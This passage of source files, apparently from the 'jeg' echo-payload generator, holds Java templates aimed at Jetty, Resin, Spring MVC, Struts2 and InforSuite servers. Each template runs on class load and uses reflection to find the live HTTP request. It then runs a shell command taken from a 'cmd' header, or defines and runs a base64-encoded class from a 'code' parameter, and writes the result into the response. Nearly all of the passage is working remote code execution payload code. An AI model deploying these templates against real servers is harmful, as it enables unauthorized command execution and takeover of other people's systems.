(thread.getClass().getName().contains("com.sun.grizzly.http.HttpWorkerThread")) { 35 | // 将目标对象添加到列表中 36 | taskThreadList.add(thread); 37 | } 38 | } 39 | List tables = new ArrayList(); 40 | for (Thread thread : taskThreadList) { 41 | try { 42 | Field threadLocalsField = Thread.class.getDeclaredField("threadLocals"); 43 | threadLocalsField.setAccessible(true); 44 | Object localMap = threadLocalsField.get(thread); 45 | Class threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); 46 | Field tableField = threadLocalMapClass.getDeclaredField("table"); 47 | tableField.setAccessible(true); 48 | Object table = tableField.get(localMap); 49 | tables.add(table); 50 | } catch (Exception e) { 51 | continue; 52 | } 53 | } 54 | 55 | 56 | List values = new ArrayList(); 57 | for (Object table : tables) { 58 | // 遍历 table 中的项 59 | try { 60 | if (table != null && table.getClass().isArray()) { 61 | int length = Array.getLength(table); 62 | for (int i = 0; i < length; i++) { 63 | Object entry = Array.get(table, i); 64 | if (entry != null) { 65 | // 获取 entry 的 value 字段 66 | try { 67 | Field valueField = entry.getClass().getDeclaredField("value"); 68 | valueField.setAccessible(true); 69 | Object value = valueField.get(entry); 70 | values.add(value); 71 | } catch (Exception e) { 72 | } 73 | } 74 | } 75 | } 76 | } catch (Exception e) { 77 | } 78 | 79 | } 80 | 81 | for (Object value : values) { 82 | if (value != null && value.getClass().getName().equals("com.sun.enterprise.web.pwc.connector.coyote.PwcCoyoteRequest")) { 83 | try { 84 | // 从 request header 获取参数 85 | String cmd = (String) value.getClass().getSuperclass().getMethod("getHeader", new Class[]{String.class}).invoke(value, new Object[]{getReqHeaderName()}); 86 | if (cmd != null) { 87 | Object response = value.getClass().getSuperclass().getMethod("getResponse", new Class[0]).invoke(value); 88 | Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); 89 | writer.write(executeCommand(cmd)); 90 | writer.flush(); 91 | writer.close(); 92 | break; 93 | } 94 | } catch (Exception ignored) { 95 | } 96 | } 97 | } 98 | } 99 | // 执行模块 100 | public static String executeCommand(String cmd) { 101 | if (cmd == null) { 102 | return "command is null"; 103 | } 104 | try { 105 | boolean isLinux = true; 106 | String osType = System.getProperty("os.name"); 107 | if (osType != null && osType.toLowerCase().contains("win")) { 108 | isLinux = false; 109 | } 110 | String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 111 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 112 | Scanner s = new Scanner(in).useDelimiter("\\a"); 113 | String execRes = ""; 114 | while (s.hasNext()) { 115 | execRes += s.next(); 116 | } 117 | if (execRes.isEmpty()) { 118 | return String.format("code exec successfully, command:%s fails. The command may not exist!\n", cmd); 119 | } 120 | return execRes; 121 | } catch (Exception e) { 122 | return String.format(e.getMessage()); 123 | } 124 | } 125 | } -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/inforsuite/InforSuiteCodeExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.inforsuite; 2 | 3 | import java.io.Writer; 4 | import java.lang.reflect.Array; 5 | import java.lang.reflect.Field; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | import java.util.ArrayList; 9 | import java.util.List; 10 | import java.util.Set; 11 | 12 | public class InforSuiteCodeExecTpl { 13 | static { 14 | try { 15 | new InforSuiteCodeExecTpl(); 16 | } catch (Exception e) { 17 | } 18 | } 19 | private static String getReqParamName() { 20 | return "code"; 21 | } 22 | 23 | public InforSuiteCodeExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { 24 | run(); 25 | } 26 | 27 | public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 28 | Set threadSet = Thread.getAllStackTraces().keySet(); 29 | List taskThreadList = new ArrayList(); 30 | for (Thread thread : threadSet) { 31 | if (thread.getClass().getName().contains("com.sun.grizzly.http.HttpWorkerThread")) { 32 | // 将目标对象添加到列表中 33 | taskThreadList.add(thread); 34 | } 35 | } 36 | List tables = new ArrayList(); 37 | for (Thread thread : taskThreadList) { 38 | try { 39 | Field threadLocalsField = Thread.class.getDeclaredField("threadLocals"); 40 | threadLocalsField.setAccessible(true); 41 | Object localMap = threadLocalsField.get(thread); 42 | Class threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); 43 | Field tableField = threadLocalMapClass.getDeclaredField("table"); 44 | tableField.setAccessible(true); 45 | Object table = tableField.get(localMap); 46 | tables.add(table); 47 | } catch (Exception e) { 48 | continue; 49 | } 50 | } 51 | 52 | List values = new ArrayList(); 53 | for (Object table : tables) { 54 | // 遍历 table 中的项 55 | try { 56 | if (table != null && table.getClass().isArray()) { 57 | int length = Array.getLength(table); 58 | for (int i = 0; i < length; i++) { 59 | Object entry = Array.get(table, i); 60 | if (entry != null) { 61 | // 获取 entry 的 value 字段 62 | try { 63 | Field valueField = entry.getClass().getDeclaredField("value"); 64 | valueField.setAccessible(true); 65 | Object value = valueField.get(entry); 66 | values.add(value); 67 | } catch (Exception e) { 68 | } 69 | } 70 | } 71 | } 72 | } catch (Exception e) { 73 | } 74 | 75 | } 76 | 77 | for (Object value : values) { 78 | if (value != null && value.getClass().getName().equals("com.sun.enterprise.web.pwc.connector.coyote.PwcCoyoteRequest")) { 79 | try { 80 | // 从 request body 获取参数 81 | String code = (String) value.getClass().getSuperclass().getMethod("getParameter", String.class).invoke(value, getReqParamName()); 82 | if (code != null) { 83 | Object response = value.getClass().getSuperclass().getMethod("getResponse", new Class[0]).invoke(value); 84 | Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); 85 | writer.write(defineClazz(code)); 86 | writer.flush(); 87 | writer.close(); 88 | break; 89 | } 90 | } catch (Exception ignored) { 91 | } 92 | } 93 | } 94 | } 95 | private static String defineClazz(String var2) { 96 | try { 97 | byte[] clazzByte = base64Decode(var2); 98 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 99 | defineClass.setAccessible(true); 100 | Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); 101 | return clazz.newInstance().toString(); 102 | } catch (Exception e) { 103 | return e.getMessage(); 104 | } 105 | } 106 | 107 | private static byte[] base64Decode(String str) throws Exception { 108 | try { 109 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 110 | return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 111 | } catch (Exception var4) { 112 | Class clazz = Class.forName("java.util.Base64"); 113 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 114 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 115 | } 116 | } 117 | } -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/jetty/JettyCmdExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.jetty; 2 | 3 | import java.io.InputStream; 4 | import java.io.PrintWriter; 5 | import java.lang.reflect.Array; 6 | import java.lang.reflect.Field; 7 | import java.util.Scanner; 8 | 9 | public class JettyCmdExecTpl { 10 | static { 11 | try { 12 | new JettyCmdExecTpl(); 13 | } catch (Exception e) { 14 | } 15 | } 16 | 17 | private String getReqHeaderName() { 18 | return "cmd"; 19 | } 20 | 21 | 22 | public JettyCmdExecTpl() { 23 | run(); 24 | } 25 | 26 | 27 | private void run() { 28 | try { 29 | Thread thread = Thread.currentThread(); 30 | Field field = Class.forName("java.lang.Thread").getDeclaredField("threadLocals"); 31 | field.setAccessible(true); 32 | Object threadLocals = field.get(thread); 33 | Class threadLocalMap = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); 34 | Field tableField = threadLocalMap.getDeclaredField("table"); 35 | tableField.setAccessible(true); 36 | Object table = tableField.get(threadLocals); 37 | 38 | Class entry = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry"); 39 | Field valueField = entry.getDeclaredField("value"); 40 | valueField.setAccessible(true); 41 | Object httpConnection = null; 42 | 43 | Object obj; 44 | for (int i = 0; i < Array.getLength(table); ++i) { 45 | obj = Array.get(table, i); 46 | if (obj != null) { 47 | httpConnection = valueField.get(obj); 48 | if (httpConnection != null && (httpConnection.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection") || httpConnection.getClass().getName().contains("HttpConnection"))) { 49 | break; 50 | } 51 | } 52 | } 53 | if (httpConnection == null) { 54 | throw new RuntimeException("HttpConnection not found"); 55 | } 56 | Object response; 57 | Object request; 58 | try { 59 | Object httpChannel = httpConnection.getClass().getMethod("getHttpChannel").invoke(httpConnection); 60 | response = httpChannel.getClass().getMethod("getResponse").invoke(httpChannel); 61 | request = httpChannel.getClass().getMethod("getRequest").invoke(httpChannel); 62 | } catch (Exception e) { 63 | // 兼容 Jetty(7.6.16.v20140903) 64 | response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection); 65 | request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection); 66 | } 67 | String cmd = (String) request.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request, new Object[]{getReqHeaderName()}); 68 | if (cmd != null) { 69 | PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); 70 | writer.write(exec(cmd)); 71 | writer.flush(); 72 | writer.close(); 73 | } 74 | 75 | } catch (Exception e) { 76 | e.printStackTrace(); 77 | } 78 | } 79 | 80 | private String exec(String cmd) { 81 | try { 82 | boolean isLinux = true; 83 | String osType = System.getProperty("os.name"); 84 | if (osType != null && osType.toLowerCase().contains("win")) { 85 | isLinux = false; 86 | } 87 | 88 | String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 89 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 90 | Scanner s = new Scanner(in).useDelimiter("\\a"); 91 | String execRes = ""; 92 | while (s.hasNext()) { 93 | execRes += s.next(); 94 | } 95 | return execRes; 96 | } catch (Exception e) { 97 | return e.getMessage(); 98 | } 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/jetty/JettyCodeExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.jetty; 2 | 3 | import java.io.PrintWriter; 4 | import java.lang.reflect.Array; 5 | import java.lang.reflect.Field; 6 | import java.lang.reflect.Method; 7 | 8 | public class JettyCodeExecTpl { 9 | static { 10 | try { 11 | new JettyCodeExecTpl(); 12 | } catch (Exception e) { 13 | } 14 | } 15 | 16 | 17 | private String getReqParamName() { 18 | return "code"; 19 | } 20 | 21 | public JettyCodeExecTpl() { 22 | run(); 23 | } 24 | 25 | public void run() { 26 | try { 27 | Thread thread = Thread.currentThread(); 28 | Field field = Class.forName("java.lang.Thread").getDeclaredField("threadLocals"); 29 | field.setAccessible(true); 30 | Object threadLocals = field.get(thread); 31 | Class threadLocalMap = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); 32 | Field tableField = threadLocalMap.getDeclaredField("table"); 33 | tableField.setAccessible(true); 34 | Object table = tableField.get(threadLocals); 35 | 36 | Class entry = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry"); 37 | Field valueField = entry.getDeclaredField("value"); 38 | valueField.setAccessible(true); 39 | Object httpConnection = null; 40 | 41 | Object obj; 42 | for (int i = 0; i < Array.getLength(table); ++i) { 43 | obj = Array.get(table, i); 44 | if (obj != null) { 45 | httpConnection = valueField.get(obj); 46 | if (httpConnection != null && (httpConnection.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection") || httpConnection.getClass().getName().contains("HttpConnection"))) { 47 | break; 48 | } 49 | } 50 | } 51 | Object response; 52 | Object request; 53 | try { 54 | Object httpChannel = httpConnection.getClass().getMethod("getHttpChannel").invoke(httpConnection); 55 | response = httpChannel.getClass().getMethod("getResponse").invoke(httpChannel); 56 | request = httpChannel.getClass().getMethod("getRequest").invoke(httpChannel); 57 | } catch (Exception e) { 58 | response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection); 59 | request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection); 60 | } 61 | 62 | String code = (String) request.getClass().getDeclaredMethod("getParameter", String.class).invoke(request, getReqParamName()); 63 | if (code != null && code != "") { 64 | PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); 65 | writer.write(exec(code)); 66 | writer.flush(); 67 | writer.close(); 68 | } 69 | 70 | 71 | } catch (Exception e) { 72 | e.printStackTrace(); 73 | } 74 | } 75 | 76 | 77 | private String exec(String var2) { 78 | try { 79 | byte[] clazzByte = base64Decode(var2); 80 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 81 | defineClass.setAccessible(true); 82 | Class clazz = (Class) defineClass.invoke(new javax.management.loading.MLet(new java.net.URL[0],java.lang.Thread.currentThread().getContextClassLoader()), clazzByte, 0, clazzByte.length); 83 | return clazz.newInstance().toString(); 84 | } catch (Exception e) { 85 | return e.getMessage(); 86 | } 87 | } 88 | 89 | private byte[] base64Decode(String str) throws Exception { 90 | try { 91 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 92 | return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 93 | } catch (Exception var4) { 94 | Class clazz = Class.forName("java.util.Base64"); 95 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 96 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/resin/ResinCmdExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.resin; 2 | 3 | import java.io.InputStream; 4 | import java.io.Writer; 5 | import java.lang.reflect.Field; 6 | import java.lang.reflect.Method; 7 | import java.util.Scanner; 8 | 9 | public class ResinCmdExecTpl { 10 | static { 11 | try { 12 | new ResinCmdExecTpl(); 13 | } catch (Exception e) { 14 | } 15 | } 16 | 17 | private String getReqHeaderName() { 18 | return "cmd"; 19 | } 20 | 21 | public ResinCmdExecTpl() { 22 | run(); 23 | } 24 | 25 | private void run() { 26 | try { 27 | Object currentRequest = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null); 28 | Field _responseF; 29 | if (currentRequest.getClass().getName().contains("com.caucho.server.http.HttpRequest")) { 30 | // 3.x 需要从父类中获取 31 | _responseF = currentRequest.getClass().getSuperclass().getDeclaredField("_response"); 32 | } else { 33 | _responseF = currentRequest.getClass().getDeclaredField("_response"); 34 | } 35 | _responseF.setAccessible(true); 36 | Object response = _responseF.get(currentRequest); 37 | Method getWriterM = response.getClass().getMethod("getWriter"); 38 | Writer writer = (Writer) getWriterM.invoke(response); 39 | Method getHeaderM = currentRequest.getClass().getMethod("getHeader", String.class); 40 | String cmd = (String) getHeaderM.invoke(currentRequest, getReqHeaderName()); 41 | writer.write(exec(cmd)); 42 | } catch (Exception e) { 43 | 44 | } 45 | } 46 | 47 | private String exec(String cmd) { 48 | try { 49 | boolean isLinux = true; 50 | String osType = System.getProperty("os.name"); 51 | if (osType != null && osType.toLowerCase().contains("win")) { 52 | isLinux = false; 53 | } 54 | 55 | String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 56 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 57 | Scanner s = new Scanner(in).useDelimiter("\\a"); 58 | String execRes = ""; 59 | while (s.hasNext()) { 60 | execRes += s.next(); 61 | } 62 | return execRes; 63 | } catch (Exception e) { 64 | return e.getMessage(); 65 | } 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/resin/ResinCodeExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.resin; 2 | 3 | import java.io.Writer; 4 | import java.lang.reflect.Field; 5 | import java.lang.reflect.Method; 6 | 7 | public class ResinCodeExecTpl { 8 | static { 9 | try { 10 | new ResinCodeExecTpl(); 11 | } catch (Exception e) { 12 | } 13 | } 14 | 15 | private String getReqParamName() { 16 | return "code"; 17 | } 18 | 19 | ResinCodeExecTpl(){ 20 | run(); 21 | } 22 | 23 | private void run() { 24 | try { 25 | Object currentRequest = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null); 26 | Field _responseF; 27 | if(currentRequest.getClass().getName().contains("com.caucho.server.http.HttpRequest")){ 28 | // 3.x 需要从父类中获取 29 | _responseF = currentRequest.getClass().getSuperclass().getDeclaredField("_response"); 30 | }else{ 31 | _responseF = currentRequest.getClass().getDeclaredField("_response"); 32 | } 33 | _responseF.setAccessible(true); 34 | 35 | Method getParameterM = currentRequest.getClass().getMethod("getParameter", String.class); 36 | String code = (String)getParameterM.invoke(currentRequest, getReqParamName()); 37 | if(code != null & code != ""){ 38 | Object response = _responseF.get(currentRequest); 39 | // 写入 body 40 | Method getWriterM = response.getClass().getMethod("getWriter"); 41 | Writer writer = (Writer)getWriterM.invoke(response); 42 | writer.write(exec(code)); 43 | 44 | } 45 | // // 写入 header 46 | // Method addHeaderM = response.getClass().getMethod("addHeader",String.class, String.class); 47 | // addHeaderM.invoke(response,getRespHeaderName(),defineClazz(code)); 48 | 49 | }catch (Exception e){ 50 | 51 | } 52 | } 53 | 54 | 55 | private String exec(String var2) { 56 | try { 57 | byte[] clazzByte = base64Decode(var2); 58 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 59 | defineClass.setAccessible(true); 60 | Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); 61 | return clazz.newInstance().toString(); 62 | } catch (Exception e) { 63 | return e.getMessage(); 64 | } 65 | } 66 | 67 | private byte[] base64Decode(String str) throws Exception { 68 | try { 69 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 70 | return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 71 | } catch (Exception var4) { 72 | Class clazz = Class.forName("java.util.Base64"); 73 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 74 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 75 | } 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/springmvc/SpringMVCCmdExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.springmvc; 2 | 3 | import java.io.InputStream; 4 | import java.io.Writer; 5 | import java.lang.reflect.InvocationTargetException; 6 | import java.lang.reflect.Method; 7 | import java.util.Scanner; 8 | 9 | public class SpringMVCCmdExecTpl { 10 | 11 | static { 12 | try { 13 | new SpringMVCCmdExecTpl(); 14 | } catch (Exception e) { 15 | } 16 | } 17 | private String getReqHeaderName() { 18 | return "cmd"; 19 | } 20 | 21 | public SpringMVCCmdExecTpl() throws Exception { 22 | run(); 23 | } 24 | 25 | public void run() { 26 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 27 | try { 28 | Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); 29 | Object request = invokeMethod(requestAttributes, "getRequest"); 30 | Object response = invokeMethod(requestAttributes, "getResponse"); 31 | Method getHeaderM = request.getClass().getMethod("getHeader", String.class); 32 | String cmd = (String) getHeaderM.invoke(request, getReqHeaderName()); 33 | if (cmd != null && !cmd.isEmpty()) { 34 | Writer writer = (Writer) invokeMethod(response, "getWriter"); 35 | writer.write(exec(cmd)); 36 | writer.flush(); 37 | writer.close(); 38 | } 39 | } catch (Exception e) { 40 | } 41 | } 42 | 43 | 44 | private String exec(String cmd) { 45 | try { 46 | boolean isLinux = true; 47 | String osType = System.getProperty("os.name"); 48 | if (osType != null && osType.toLowerCase().contains("win")) { 49 | isLinux = false; 50 | } 51 | 52 | String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 53 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 54 | Scanner s = new Scanner(in).useDelimiter("\\a"); 55 | String execRes = ""; 56 | while (s.hasNext()) { 57 | execRes += s.next(); 58 | } 59 | return execRes; 60 | } catch (Exception e) { 61 | return e.getMessage(); 62 | } 63 | } 64 | 65 | private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { 66 | return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); 67 | } 68 | 69 | private Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 70 | Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); 71 | Method method = null; 72 | 73 | Class tempClass = clazz; 74 | while (method == null && tempClass != null) { 75 | try { 76 | if (paramClazz == null) { 77 | // Get all declared methods of the class 78 | Method[] methods = tempClass.getDeclaredMethods(); 79 | for (int i = 0; i < methods.length; i++) { 80 | if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { 81 | method = methods[i]; 82 | break; 83 | } 84 | } 85 | } else { 86 | method = tempClass.getDeclaredMethod(methodName, paramClazz); 87 | } 88 | } catch (NoSuchMethodException e) { 89 | tempClass = tempClass.getSuperclass(); 90 | } 91 | } 92 | if (method == null) { 93 | throw new NoSuchMethodException(methodName); 94 | } 95 | method.setAccessible(true); 96 | if (obj instanceof Class) { 97 | try { 98 | return method.invoke(null, param); 99 | } catch (IllegalAccessException e) { 100 | throw new RuntimeException(e.getMessage()); 101 | } 102 | } else { 103 | try { 104 | return method.invoke(obj, param); 105 | } catch (IllegalAccessException e) { 106 | throw new RuntimeException(e.getMessage()); 107 | } 108 | } 109 | } 110 | } 111 | 112 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/springmvc/SpringMVCCodeExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.springmvc; 2 | 3 | import java.io.Writer; 4 | import java.lang.reflect.InvocationTargetException; 5 | import java.lang.reflect.Method; 6 | 7 | public class SpringMVCCodeExecTpl { 8 | 9 | static { 10 | try { 11 | new SpringMVCCodeExecTpl(); 12 | } catch (Exception e) { 13 | } 14 | } 15 | 16 | private String getReqParamName() { 17 | return "code"; 18 | } 19 | 20 | 21 | public SpringMVCCodeExecTpl() throws Exception { 22 | run(); 23 | } 24 | 25 | private void run() { 26 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 27 | try { 28 | Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); 29 | Object request = invokeMethod(requestAttributes, "getRequest"); 30 | Object response = invokeMethod(requestAttributes, "getResponse"); 31 | String code = (String)invokeMethod(request, "getParameter",new Class[]{String.class},new Object[]{getReqParamName()}); 32 | if (code != null && !code.isEmpty()) { 33 | Writer writer = (Writer) invokeMethod(response,"getWriter"); 34 | writer.write(exec(code)); 35 | writer.flush(); 36 | writer.close(); 37 | } 38 | } catch (Exception e) { 39 | } 40 | } 41 | 42 | 43 | private String exec(String var2) { 44 | try { 45 | byte[] clazzByte = base64Decode(var2); 46 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 47 | defineClass.setAccessible(true); 48 | Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); 49 | return clazz.newInstance().toString(); 50 | } catch (Exception e) { 51 | return e.getMessage(); 52 | } 53 | } 54 | 55 | private byte[] base64Decode(String str) throws Exception { 56 | try { 57 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 58 | return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 59 | } catch (Exception var4) { 60 | Class clazz = Class.forName("java.util.Base64"); 61 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 62 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 63 | } 64 | } 65 | 66 | private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { 67 | return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); 68 | } 69 | 70 | private Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 71 | Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); 72 | Method method = null; 73 | 74 | Class tempClass = clazz; 75 | while (method == null && tempClass != null) { 76 | try { 77 | if (paramClazz == null) { 78 | // Get all declared methods of the class 79 | Method[] methods = tempClass.getDeclaredMethods(); 80 | for (int i = 0; i < methods.length; i++) { 81 | if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { 82 | method = methods[i]; 83 | break; 84 | } 85 | } 86 | } else { 87 | method = tempClass.getDeclaredMethod(methodName, paramClazz); 88 | } 89 | } catch (NoSuchMethodException e) { 90 | tempClass = tempClass.getSuperclass(); 91 | } 92 | } 93 | if (method == null) { 94 | throw new NoSuchMethodException(methodName); 95 | } 96 | method.setAccessible(true); 97 | if (obj instanceof Class) { 98 | try { 99 | return method.invoke(null, param); 100 | } catch (IllegalAccessException e) { 101 | throw new RuntimeException(e.getMessage()); 102 | } 103 | } else { 104 | try { 105 | return method.invoke(obj, param); 106 | } catch (IllegalAccessException e) { 107 | throw new RuntimeException(e.getMessage()); 108 | } 109 | } 110 | } 111 | } 112 | 113 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/struts2/Struts2CmdExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.struts2; 2 | 3 | import java.io.InputStream; 4 | import java.io.Writer; 5 | import java.lang.reflect.InvocationTargetException; 6 | import java.lang.reflect.Method; 7 | import java.util.Scanner; 8 | 9 | public class Struts2CmdExecTpl { 10 | 11 | static { 12 | try { 13 | new Struts2CmdExecTpl(); 14 | } catch (Exception e) { 15 | } 16 | } 17 | private String getReqHeaderName() { 18 | return "cmd"; 19 | } 20 | 21 | 22 | public Struts2CmdExecTpl() throws Exception { 23 | run(); 24 | } 25 | 26 | public void run(){ 27 | try { 28 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 29 | Class actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext", false, loader); 30 | java.lang.reflect.Field filed = actionContextClass.getDeclaredField("actionContext"); 31 | filed.setAccessible(true); 32 | ThreadLocal actionContext = (ThreadLocal) filed.get(null); 33 | Object con = actionContext.get(); 34 | Object context = invokeMethod(con,"getContext"); 35 | Object request = invokeMethod(context,"get", new Class[]{String.class},new Object[]{"com.opensymphony.xwork2.dispatcher.HttpServletRequest"}); 36 | Object response = invokeMethod(context,"get", new Class[]{String.class},new Object[]{"com.opensymphony.xwork2.dispatcher.HttpServletResponse"}); 37 | String cmd = (String) invokeMethod(request,"getHeader",new Class[]{String.class},new Object[]{getReqHeaderName()}); 38 | if (cmd != null && !cmd.isEmpty()) { 39 | Writer writer = (Writer) invokeMethod(response, "getWriter"); 40 | writer.write(exec(cmd)); 41 | writer.flush(); 42 | writer.close(); 43 | } 44 | }catch (Exception ignored){ 45 | } 46 | } 47 | 48 | 49 | public String exec(String cmd){ 50 | try { 51 | boolean isLinux = true; 52 | String osType = System.getProperty("os.name"); 53 | if (osType != null && osType.toLowerCase().contains("win")) { 54 | isLinux = false; 55 | } 56 | 57 | String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 58 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 59 | Scanner s = new Scanner(in).useDelimiter("\\a"); 60 | String execRes = ""; 61 | while (s.hasNext()) { 62 | execRes += s.next(); 63 | } 64 | return execRes; 65 | }catch (Exception e){ 66 | return e.getMessage(); 67 | } 68 | } 69 | 70 | private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { 71 | return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); 72 | } 73 | 74 | private Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 75 | Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); 76 | Method method = null; 77 | 78 | Class tempClass = clazz; 79 | while (method == null && tempClass != null) { 80 | try { 81 | if (paramClazz == null) { 82 | // Get all declared methods of the class 83 | Method[] methods = tempClass.getDeclaredMethods(); 84 | for (int i = 0; i < methods.length; i++) { 85 | if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { 86 | method = methods[i]; 87 | break; 88 | } 89 | } 90 | } else { 91 | method = tempClass.getDeclaredMethod(methodName, paramClazz); 92 | } 93 | } catch (NoSuchMethodException e) { 94 | tempClass = tempClass.getSuperclass(); 95 | } 96 | } 97 | if (method == null) { 98 | throw new NoSuchMethodException(methodName); 99 | } 100 | method.setAccessible(true); 101 | if (obj instanceof Class) { 102 | try { 103 | return method.invoke(null, param); 104 | } catch (IllegalAccessException e) { 105 | throw new RuntimeException(e.getMessage()); 106 | } 107 | } else { 108 | try { 109 | return method.invoke(obj, param); 110 | } catch (IllegalAccessException e) { 111 | throw new RuntimeException(e.getMessage()); 112 | } 113 | } 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/struts2/Struts2CodeExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.struts2; 2 | 3 | import java.io.Writer; 4 | import java.lang.reflect.InvocationTargetException; 5 | import java.lang.reflect.Method; 6 | 7 | public class 